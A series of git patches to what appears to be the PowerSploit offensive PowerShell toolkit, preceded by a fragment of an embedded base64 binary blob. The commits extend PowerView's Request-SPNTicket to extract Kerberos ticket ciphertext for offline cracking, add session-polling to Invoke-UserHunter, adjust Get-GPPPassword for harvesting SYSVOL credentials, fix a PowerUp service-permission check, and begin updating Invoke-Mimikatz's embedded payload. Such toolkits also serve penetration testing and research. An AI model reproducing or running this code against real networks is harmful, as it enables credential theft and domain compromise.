7YDtoO2w7dDuAO4Q7jDuQO5g7nDukO6g7sDu0O7w7wDvIO8w71DvYO+A75DvsO/A7+Dv8OwQ8CDwQPBQ8HDwgPCg8LDw0PDg8QDxMPFg8XDxkPGg8cDx0PHw8gDyIPIw8lDyYPKA8pDysPLA8uDy8PMQ8yDzQPNQ83DzgPOg87Dz0PPg8AD0EPQw9ED0YPSQ9KD0wPTQ9PD1IPVQ9YD1sPXg9hD2QPZQ9nD2gPag9rD20PcA9xD3MPdg95D3oPQQ/DD8UPyA/KD8wPzw/RD9MP2g/cD90P3g/fD+QP5Q/mD+cP6A/pD+oP6w/vD/EP9g/4D/0P/w/ACAKAHwBAAAQMBgwLDA0MEgwUDBkMGwwgDCIMJwwpDC4MMAw3DDwMPQw+DAMMRQxMDFEMUgxTDFgMWgxfDGEMZgxoDG0Mbwx0DHYMewx9DEIMhAyJDIsMkAySDJcMmQyeDKAMpQynDKwMrgyzDLUMugy8DIEMwwzIDMoMzwzRDNYM2AzdDN8M5AzmDOsM7QzyDPQM+Qz7DMANAg0HDQgNCQ0ODQ8NEA0VDRYNFw0cDR0NHg0jDSQNJQ0qDSsNLA0xDTINMw02DTgNOg09DT8NAQ1EDUYNSA1PDVYNWw1dDV8NYA1hDWINYw1kDWYNdg1FDZQNsg20DYENww3QDdIN3w3hDe4N8A39Df8NzA4ODjIONA4BDkMOUA5SDl8OYQ5uDnAOfQ5/Dk0Okg6UDqAOpA6mDqoOrA65DrsOiA7KDtcO2Q7lDucO6Q7CDwQPFg8lDzQPAw9WD2UPdA9MD5EPlg+aD5wPqQ+rD7gPug+HD8kP7g/wD/0P/w/AAAAMAoAmAAAADAwODBsMHQw2DAUMVAxjDHEMcgx+DE0MngytDLwMiwzaDOcM6gz9DP4MwA0KDRkNKA03DQYNVQ1mDXUNRA2UDZcNnw2iDbINgQ3QDd8N7g39DcwOGw4qDisOLQ46DgcOSA5KDlIOUw5VDmIObw5wDnIOfg5NDpwOqw6sDq4Oug6JDtgO5w72DskPCg8MDwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$") { From b74e51519825318bf13278d389398b310e95d82c Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Fri, 15 Jul 2016 17:33:04 -0400 Subject: [PATCH 182/296] Fix for issue #167 --- Recon/PowerView.ps1 | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index a54cc6de..903583c0 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -1354,8 +1354,10 @@ function Request-SPNTicket { } process { - Write-Verbose "Requesting ticket for: $SPN" - New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPN + ForEach($UserSPN in $SPN) { + Write-Verbose "Requesting ticket for: $SPN" + New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN + } } } From 038adce56ebe3a2daf81962517123d9969463cea Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Fri, 15 Jul 2016 17:34:23 -0400 Subject: [PATCH 183/296] type --- Recon/PowerView.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 903583c0..27f87c77 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -1355,7 +1355,7 @@ function Request-SPNTicket { process { ForEach($UserSPN in $SPN) { - Write-Verbose "Requesting ticket for: $SPN" + Write-Verbose "Requesting ticket for: $UserSPN" New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN } } From 87630cac639f29c2adcb163f661f02890adf4bdd Mon Sep 17 00:00:00 2001 From: Dennis Maldonado Date: Tue, 19 Jul 2016 10:36:59 -0500 Subject: [PATCH 184/296] Added default value to parameter Added default value to parameter and got rid of value check later in the code. Added validation of -Server value to ensure it is not $Null or an empty string --- Exfiltration/Get-GPPPassword.ps1 | 16 ++++------------ 1 file changed, 4 insertions(+), 12 deletions(-) diff --git a/Exfiltration/Get-GPPPassword.ps1 b/Exfiltration/Get-GPPPassword.ps1 index 8f52dfd8..0c03e0ad 100644 --- a/Exfiltration/Get-GPPPassword.ps1 +++ b/Exfiltration/Get-GPPPassword.ps1 @@ -84,8 +84,9 @@ function Get-GPPPassword { [CmdletBinding()] Param ( + [ValidateNotNullOrEmpty()] [String] - $Server + $Server = $Env:USERDNSDOMAIN ) #Some XML issues between versions @@ -227,19 +228,10 @@ function Get-GPPPassword { if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) { throw 'Machine is not a domain member or User is not a member of the domain.' } - - #Allow users to specify domain controller - if ($Server) { - $DomainController = $Server - } - - else { - $DomainController = $Env:USERDNSDOMAIN - } #discover potential files containing passwords ; not complaining in case of denied access to a directory - Write-Verbose "Searching \\$DomainController\SYSVOL. This could take a while." - $XMlFiles = Get-ChildItem -Path "\\$DomainController\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' + Write-Verbose "Searching \\$Server\SYSVOL. This could take a while." + $XMlFiles = Get-ChildItem -Path "\\$Server\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' if ( -not $XMlFiles ) {throw 'No preference files found.'} From fda456338f75c7adb0a26df72de53d78b1ccb6da Mon Sep 17 00:00:00 2001 From: Jon Cave Date: Sat, 13 Aug 2016 12:00:44 +0100 Subject: [PATCH 185/296] Add a polling mode to Invoke-UserHunter Repeatedly poll a set of target computers for user sessions. This could be a useful technique for building a much better picture of current sessions, but without having to communicate with every host. The -Poll parameter is used to specify the duration for which polling should occur. Each target computer is dedicated with a thread with -Delay and -Jitter specifying how long to sleep between each session enumeration attempt of an individual host. --- Recon/PowerView.ps1 | 190 ++++++++++++++++++++++++++------------------ 1 file changed, 111 insertions(+), 79 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 27f87c77..c1828c8a 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -9480,6 +9480,11 @@ function Invoke-UserHunter { The maximum concurrent threads to execute. + .PARAMETER Poll + + Continuously poll for sessions for the given duration. Automatically + sets Threads to the number of computers being polled. + .EXAMPLE PS C:\> Invoke-UserHunter -CheckAccess @@ -9534,6 +9539,13 @@ function Invoke-UserHunter { Executes old Invoke-StealthUserHunter functionality, enumerating commonly used servers and checking just sessions for each. + .EXAMPLE + + PS C:\> Invoke-UserHunter -Stealth -StealthSource DC -Poll 3600 -Delay 5 -ShowAll | ? { ! $_.UserName.EndsWith('$') } + + Poll Domain Controllers in parallel for sessions for an hour, waiting five + seconds before querying each DC again and filtering out computer accounts. + .LINK http://blog.harmj0y.net #> @@ -9623,7 +9635,10 @@ function Invoke-UserHunter { [Int] [ValidateRange(1,100)] - $Threads + $Threads, + + [UInt32] + $Poll = 0 ) begin { @@ -9632,9 +9647,6 @@ function Invoke-UserHunter { $DebugPreference = 'Continue' } - # random object for delay - $RandNo = New-Object System.Random - Write-Verbose "[*] Running Invoke-UserHunter with delay of $Delay" ##################################################### @@ -9705,6 +9717,14 @@ function Invoke-UserHunter { } } + if ($Poll -gt 0) { + Write-Verbose "[*] Polling for $Poll seconds. Automatically enabling threaded mode." + if ($ComputerName.Count -gt 100) { + throw "Too many hosts to poll! Try fewer than 100." + } + $Threads = $ComputerName.Count + } + ##################################################### # # Now we build the user target set @@ -9802,7 +9822,7 @@ function Invoke-UserHunter { # script block that enumerates a server $HostEnumBlock = { - param($ComputerName, $Ping, $TargetUsers, $CurrentUser, $Stealth, $DomainShortName) + param($ComputerName, $Ping, $TargetUsers, $CurrentUser, $Stealth, $DomainShortName, $Poll, $Delay, $Jitter) # optionally check if the server is up first $Up = $True @@ -9810,89 +9830,46 @@ function Invoke-UserHunter { $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName } if($Up) { - if(!$DomainShortName) { - # if we're not searching for foreign users, check session information - $Sessions = Get-NetSession -ComputerName $ComputerName - ForEach ($Session in $Sessions) { - $UserName = $Session.sesi10_username - $CName = $Session.sesi10_cname - - if($CName -and $CName.StartsWith("\\")) { - $CName = $CName.TrimStart("\") - } - - # make sure we have a result - if (($UserName) -and ($UserName.trim() -ne '') -and (!($UserName -match $CurrentUser))) { - - $TargetUsers | Where-Object {$UserName -like $_.MemberName} | ForEach-Object { - - $IPAddress = @(Get-IPAddress -ComputerName $ComputerName)[0].IPAddress - $FoundUser = New-Object PSObject - $FoundUser | Add-Member Noteproperty 'UserDomain' $_.MemberDomain - $FoundUser | Add-Member Noteproperty 'UserName' $UserName - $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName - $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress - $FoundUser | Add-Member Noteproperty 'SessionFrom' $CName - - # Try to resolve the DNS hostname of $Cname - try { - $CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName - $FoundUser | Add-Member NoteProperty 'SessionFromName' $CnameDNSName - } - catch { - $FoundUser | Add-Member NoteProperty 'SessionFromName' $Null - } - - # see if we're checking to see if we have local admin access on this machine - if ($CheckAccess) { - $Admin = Invoke-CheckLocalAdminAccess -ComputerName $CName - $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin - } - else { - $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null - } - $FoundUser.PSObject.TypeNames.Add('PowerView.UserSession') - $FoundUser + $Timer = [System.Diagnostics.Stopwatch]::StartNew() + $RandNo = New-Object System.Random + + Do { + if(!$DomainShortName) { + # if we're not searching for foreign users, check session information + $Sessions = Get-NetSession -ComputerName $ComputerName + ForEach ($Session in $Sessions) { + $UserName = $Session.sesi10_username + $CName = $Session.sesi10_cname + + if($CName -and $CName.StartsWith("\\")) { + $CName = $CName.TrimStart("\") } - } - } - } - if(!$Stealth) { - # if we're not 'stealthy', enumerate loggedon users as well - $LoggedOn = Get-NetLoggedon -ComputerName $ComputerName - ForEach ($User in $LoggedOn) { - $UserName = $User.wkui1_username - # TODO: translate domain to authoratative name - # then match domain name ? - $UserDomain = $User.wkui1_logon_domain - # make sure wet have a result - if (($UserName) -and ($UserName.trim() -ne '')) { + # make sure we have a result + if (($UserName) -and ($UserName.trim() -ne '') -and (!($UserName -match $CurrentUser))) { - $TargetUsers | Where-Object {$UserName -like $_.MemberName} | ForEach-Object { + $TargetUsers | Where-Object {$UserName -like $_.MemberName} | ForEach-Object { - $Proceed = $True - if($DomainShortName) { - if ($DomainShortName.ToLower() -ne $UserDomain.ToLower()) { - $Proceed = $True - } - else { - $Proceed = $False - } - } - if($Proceed) { $IPAddress = @(Get-IPAddress -ComputerName $ComputerName)[0].IPAddress $FoundUser = New-Object PSObject - $FoundUser | Add-Member Noteproperty 'UserDomain' $UserDomain + $FoundUser | Add-Member Noteproperty 'UserDomain' $_.MemberDomain $FoundUser | Add-Member Noteproperty 'UserName' $UserName $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress - $FoundUser | Add-Member Noteproperty 'SessionFrom' $Null - $FoundUser | Add-Member Noteproperty 'SessionFromName' $Null + $FoundUser | Add-Member Noteproperty 'SessionFrom' $CName + + # Try to resolve the DNS hostname of $Cname + try { + $CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName + $FoundUser | Add-Member NoteProperty 'SessionFromName' $CnameDNSName + } + catch { + $FoundUser | Add-Member NoteProperty 'SessionFromName' $Null + } # see if we're checking to see if we have local admin access on this machine if ($CheckAccess) { - $Admin = Invoke-CheckLocalAdminAccess -ComputerName $ComputerName + $Admin = Invoke-CheckLocalAdminAccess -ComputerName $CName $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin } else { @@ -9904,10 +9881,61 @@ function Invoke-UserHunter { } } } - } + if(!$Stealth) { + # if we're not 'stealthy', enumerate loggedon users as well + $LoggedOn = Get-NetLoggedon -ComputerName $ComputerName + ForEach ($User in $LoggedOn) { + $UserName = $User.wkui1_username + # TODO: translate domain to authoratative name + # then match domain name ? + $UserDomain = $User.wkui1_logon_domain + + # make sure wet have a result + if (($UserName) -and ($UserName.trim() -ne '')) { + + $TargetUsers | Where-Object {$UserName -like $_.MemberName} | ForEach-Object { + + $Proceed = $True + if($DomainShortName) { + if ($DomainShortName.ToLower() -ne $UserDomain.ToLower()) { + $Proceed = $True + } + else { + $Proceed = $False + } + } + if($Proceed) { + $IPAddress = @(Get-IPAddress -ComputerName $ComputerName)[0].IPAddress + $FoundUser = New-Object PSObject + $FoundUser | Add-Member Noteproperty 'UserDomain' $UserDomain + $FoundUser | Add-Member Noteproperty 'UserName' $UserName + $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName + $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress + $FoundUser | Add-Member Noteproperty 'SessionFrom' $Null + $FoundUser | Add-Member Noteproperty 'SessionFromName' $Null + + # see if we're checking to see if we have local admin access on this machine + if ($CheckAccess) { + $Admin = Invoke-CheckLocalAdminAccess -ComputerName $ComputerName + $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin + } + else { + $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null + } + $FoundUser.PSObject.TypeNames.Add('PowerView.UserSession') + $FoundUser + } + } + } + } + } + + if ($Poll -gt 0) { + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + } + } While ($Poll -gt 0 -and $Timer.Elapsed.TotalSeconds -lt $Poll) } } - } process { @@ -9922,6 +9950,9 @@ function Invoke-UserHunter { 'CurrentUser' = $CurrentUser 'Stealth' = $Stealth 'DomainShortName' = $DomainShortName + 'Poll' = $Poll + 'Delay' = $Delay + 'Jitter' = $Jitter } # kick off the threaded script block + arguments @@ -9937,6 +9968,7 @@ function Invoke-UserHunter { Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" $Counter = 0 + $RandNo = New-Object System.Random ForEach ($Computer in $ComputerName) { @@ -9946,7 +9978,7 @@ function Invoke-UserHunter { Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" - $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $TargetUsers, $CurrentUser, $Stealth, $DomainShortName + $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $TargetUsers, $CurrentUser, $Stealth, $DomainShortName, 0, 0, 0 $Result if($Result -and $StopOnSuccess) { From 9b365e82b1bcf9957179ada3e1df4f6feb1c5888 Mon Sep 17 00:00:00 2001 From: Jon Cave Date: Sat, 13 Aug 2016 12:05:12 +0100 Subject: [PATCH 186/296] Continuously collect output from background threads MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The PowerShell.BeginInvoke(PSDataCollection, PSDataCollection) method[1] is used to collect output from each job into a buffer. This can be read whilst the jobs are still running. Being able to return partial results is particularly useful for long running background threads, such as Invoke-UserHunter -Poll. PowerShell 2.0 doesn't play nicely with generic methods. The technique described in [2] is used to allow this version of BeginInvoke() to be used. [1] https://msdn.microsoft.com/en-us/library/dd182440(v=vs.85).aspx [2] http://www.leeholmes.com/blog/2007/06/19/invoking-generic-methods-on-non-generic-classes-in-powershell/ --- Recon/PowerView.ps1 | 61 ++++++++++++++++++++------------------------- 1 file changed, 27 insertions(+), 34 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index c1828c8a..796b5d79 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -9277,11 +9277,16 @@ function Invoke-ThreadedFunction { $Pool = [runspacefactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host) $Pool.Open() - $Jobs = @() - $PS = @() - $Wait = @() + $method = $null + ForEach ($m in [PowerShell].GetMethods() | Where-Object { $_.Name -eq "BeginInvoke" }) { + $methodParameters = $m.GetParameters() + if (($methodParameters.Count -eq 2) -and $methodParameters[0].Name -eq "input" -and $methodParameters[1].Name -eq "output") { + $method = $m.MakeGenericMethod([Object], [Object]) + break + } + } - $Counter = 0 + $Jobs = @() } process { @@ -9297,54 +9302,42 @@ function Invoke-ThreadedFunction { } # create a "powershell pipeline runner" - $PS += [powershell]::create() + $p = [powershell]::create() - $PS[$Counter].runspacepool = $Pool + $p.runspacepool = $Pool # add the script block + arguments - $Null = $PS[$Counter].AddScript($ScriptBlock).AddParameter('ComputerName', $Computer) + $Null = $p.AddScript($ScriptBlock).AddParameter('ComputerName', $Computer) if($ScriptParameters) { ForEach ($Param in $ScriptParameters.GetEnumerator()) { - $Null = $PS[$Counter].AddParameter($Param.Name, $Param.Value) + $Null = $p.AddParameter($Param.Name, $Param.Value) } } - # start job - $Jobs += $PS[$Counter].BeginInvoke(); + $o = New-Object Management.Automation.PSDataCollection[Object] - # store wait handles for WaitForAll call - $Wait += $Jobs[$Counter].AsyncWaitHandle + $Jobs += @{ + PS = $p + Output = $o + Result = $method.Invoke($p, @($null, [Management.Automation.PSDataCollection[Object]]$o)) + } } - $Counter = $Counter + 1 } } end { + Write-Verbose "Waiting for threads to finish..." - Write-Verbose "Waiting for scanning threads to finish..." - - $WaitTimeout = Get-Date - - # set a 60 second timeout for the scanning threads - while ($($Jobs | Where-Object {$_.IsCompleted -eq $False}).count -gt 0 -and $($($(Get-Date) - $WaitTimeout).totalSeconds) -lt 60) { - Start-Sleep -MilliSeconds 500 + Do { + ForEach ($Job in $Jobs) { + $Job.Output.ReadAll() } + } While (($Jobs | Where-Object { ! $_.Result.IsCompleted }).Count -gt 0) - # end async call - for ($y = 0; $y -lt $Counter; $y++) { - - try { - # complete async job - $PS[$y].EndInvoke($Jobs[$y]) - - } catch { - Write-Warning "error: $_" - } - finally { - $PS[$y].Dispose() - } + ForEach ($Job in $Jobs) { + $Job.PS.Dispose() } - + $Pool.Dispose() Write-Verbose "All threads completed!" } From 462c6e83cb144c31e14df92856aa853ed1955a08 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Sat, 13 Aug 2016 20:21:23 +0100 Subject: [PATCH 187/296] Retrieve Security groups by default --- Recon/PowerView.ps1 | 27 +++++++++++++++++++-------- 1 file changed, 19 insertions(+), 8 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 27f87c77..b9ef28c8 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -5077,22 +5077,26 @@ function Get-NetGroup { A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. + .PARAMETER AllTypes + + By default we will retrieve only Security, not Distribution Groups. + .EXAMPLE PS C:\> Get-NetGroup - - Returns the current groups in the domain. + + Returns the current security groups in the domain. .EXAMPLE PS C:\> Get-NetGroup -GroupName *admin* - + Returns all groups with "admin" in their group name. .EXAMPLE PS C:\> Get-NetGroup -Domain testing -FullData - + Returns full group data objects in the 'testing' domain #> @@ -5113,10 +5117,10 @@ function Get-NetGroup { [String] $Domain, - + [String] $DomainController, - + [String] $ADSpath, @@ -5129,7 +5133,10 @@ function Get-NetGroup { [Switch] $RawSids, - [ValidateRange(1,10000)] + [Switch] + $AllTypes, + + [ValidateRange(1,10000)] [Int] $PageSize = 200, @@ -5139,6 +5146,10 @@ function Get-NetGroup { begin { $GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize + if (!$AllTypes) + { + $Filter += "(groupType:1.2.840.113556.1.4.803:=2147483648)" + } } process { @@ -5193,7 +5204,7 @@ function Get-NetGroup { else { $GroupSearcher.filter = "(&(objectCategory=group)(samaccountname=$GroupName)$Filter)" } - + $Results = $GroupSearcher.FindAll() $Results | Where-Object {$_} | ForEach-Object { # if we're returning full data objects From 917a095a81c42a3bb5af284e007ee097529862e0 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Sat, 13 Aug 2016 20:26:29 +0100 Subject: [PATCH 188/296] Modify dependent functions --- Recon/PowerView.ps1 | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index b9ef28c8..862de382 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -5359,15 +5359,15 @@ function Get-NetGroupMember { if ($Recurse -and $UseMatchingRule) { # resolve the group to a distinguishedname if ($GroupName) { - $Group = Get-NetGroup -GroupName $GroupName -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize + $Group = Get-NetGroup -AllTypes -GroupName $GroupName -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize } elseif ($SID) { - $Group = Get-NetGroup -SID $SID -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize + $Group = Get-NetGroup -AllTypes -SID $SID -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize } else { # default to domain admins $SID = (Get-DomainSID -Domain $TargetDomain -DomainController $TargetDomainController) + "-512" - $Group = Get-NetGroup -SID $SID -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize + $Group = Get-NetGroup -AllTypes -SID $SID -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize } $GroupDN = $Group.distinguishedname $GroupFoundName = $Group.samaccountname @@ -13056,7 +13056,7 @@ function Find-ManagedSecurityGroups { #> # Go through the list of security groups on the domain and identify those who have a manager - Get-NetGroup -FullData -Filter '(&(managedBy=*)(groupType:1.2.840.113556.1.4.803:=2147483648))' | Select-Object -Unique distinguishedName,managedBy,cn | ForEach-Object { + Get-NetGroup -FullData -Filter '(managedBy=*)' | Select-Object -Unique distinguishedName,managedBy,cn | ForEach-Object { # Retrieve the object that the managedBy DN refers to $group_manager = Get-ADObject -ADSPath $_.managedBy | Select-Object cn,distinguishedname,name,samaccounttype,samaccountname From 432cc017baf1f71732675058b1e090fc23714f08 Mon Sep 17 00:00:00 2001 From: Matan Hart Date: Thu, 25 Aug 2016 12:27:15 +0300 Subject: [PATCH 189/296] Add the EncPart param to Request-SPNTicket Adds the ability to return the encrypted part of the ticket. This portion is the encrypted data that can be brute-forced with Kerberoast/Hashcat/JtR --- Recon/PowerView.ps1 | 31 +++++++++++++++++++++++++++++-- 1 file changed, 29 insertions(+), 2 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 27f87c77..d779cfa1 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -1321,12 +1321,22 @@ function Request-SPNTicket { .PARAMETER SPN The service principal name to request the ticket for. Required. + + .PARAMETER EncPart + + Switch. Return the encrypted portion of the ticket (cipher). .EXAMPLE PS C:\> Request-SPNTicket -SPN "HTTP/web.testlab.local" Request a kerberos service ticket for the specified SPN. + + .EXAMPLE + + PS C:\> Request-SPNTicket -SPN "HTTP/web.testlab.local" -EncPart + + Request a kerberos service ticket for the specified SPN and return the encrypted portion of the ticket. .EXAMPLE @@ -1346,7 +1356,11 @@ function Request-SPNTicket { [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName = $True)] [Alias('ServicePrincipalName')] [String[]] - $SPN + $SPN, + + [Alias('EncryptedPart')] + [Switch] + $EncPart ) begin { @@ -1356,7 +1370,20 @@ function Request-SPNTicket { process { ForEach($UserSPN in $SPN) { Write-Verbose "Requesting ticket for: $UserSPN" - New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN + if (!$EncPart) { + New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN + } + else { + $Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN + $TicketByteStream = $Ticket.GetRequest() + if ($TicketByteStream) + { + $TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace "-" + [System.Collections.ArrayList]$Parts = ($TicketHexStream -replace '^(.*?)04820...(.*)','$2') -Split "A48201" + $Parts.RemoveAt($Parts.Count - 1) + $Parts -join "A48201" + } + } } } } From 5ac6c919ddc0684f55366af3c70ae472f69831bd Mon Sep 17 00:00:00 2001 From: Nick Landers Date: Tue, 13 Sep 2016 15:43:34 -0600 Subject: [PATCH 190/296] Service DACL false positive --- Privesc/PowerUp.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1 index 977efda6..c1b90729 100644 --- a/Privesc/PowerUp.ps1 +++ b/Privesc/PowerUp.ps1 @@ -1404,7 +1404,7 @@ function Test-ServiceDaclPermission { else { ForEach($TargetPermission in $TargetPermissions) { # check permissions || style - if (($ServiceDacl.AccessRights -band $AccessMask[$TargetPermission]) -eq $AccessMask[$TargetPermission]) { + if (($ServiceDacl.AceType -eq 'AccessAllowed') -and ($ServiceDacl.AccessRights -band $AccessMask[$TargetPermission]) -eq $AccessMask[$TargetPermission]) { Write-Verbose "Current user has '$TargetPermission' for $IndividualService" $TargetService break From 8e41548e655a07b8c6f03b08520272a886bd0d26 Mon Sep 17 00:00:00 2001 From: Nick Landers Date: Tue, 13 Sep 2016 16:59:03 -0600 Subject: [PATCH 191/296] Break on ticket capture --- Recon/PowerView.ps1 | 1 + 1 file changed, 1 insertion(+) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 34d94588..f1dd0a90 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -1382,6 +1382,7 @@ function Request-SPNTicket { [System.Collections.ArrayList]$Parts = ($TicketHexStream -replace '^(.*?)04820...(.*)','$2') -Split "A48201" $Parts.RemoveAt($Parts.Count - 1) $Parts -join "A48201" + break } } } From a70bbe61647c00b529d38c72515bd3f0a0089c28 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Tue, 1 Nov 2016 14:11:44 +0000 Subject: [PATCH 192/296] Add disabled and present searches to get-netfileservers --- Recon/PowerView.ps1 | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index f1dd0a90..6dfccb44 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -5642,13 +5642,13 @@ function Get-NetFileServer { } } } - - Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize | Where-Object {$_} | Where-Object { + $filter = "(!(userAccountControl:1.2.840.113556.1.4.803:=2))(|(scriptpath=*)(homedirectory=*)(profilepath=*))" + Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize -Filter $filter | Where-Object {$_} | Where-Object { # filter for any target users if($TargetUsers) { $TargetUsers -Match $_.samAccountName } - else { $True } + else { $True } } | ForEach-Object { # split out every potential file server path if($_.homedirectory) { From 926979ad1aceb3054debc22c3ec23256f3925f5b Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Thu, 10 Nov 2016 15:46:23 -0800 Subject: [PATCH 193/296] Updated to 2.1 20161029 OJ Edition Address issue #190 --- Exfiltration/Invoke-Mimikatz.ps1 | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) diff --git a/Exfiltration/Invoke-Mimikatz.ps1 b/Exfiltration/Invoke-Mimikatz.ps1 index 5a492e90..28f2911e 100644 --- a/Exfiltration/Invoke-Mimikatz.ps1 +++ b/Exfiltration/Invoke-Mimikatz.ps1 @@ -2720,11 +2720,15 @@ Function Main [System.IO.Directory]::SetCurrentDirectory($pwd) - # SHA256 hash: 7be46bb4305052eb4b7378d63ae9f076265928eb16bb162bd55c42c063ac435a - $PEBytes64 = 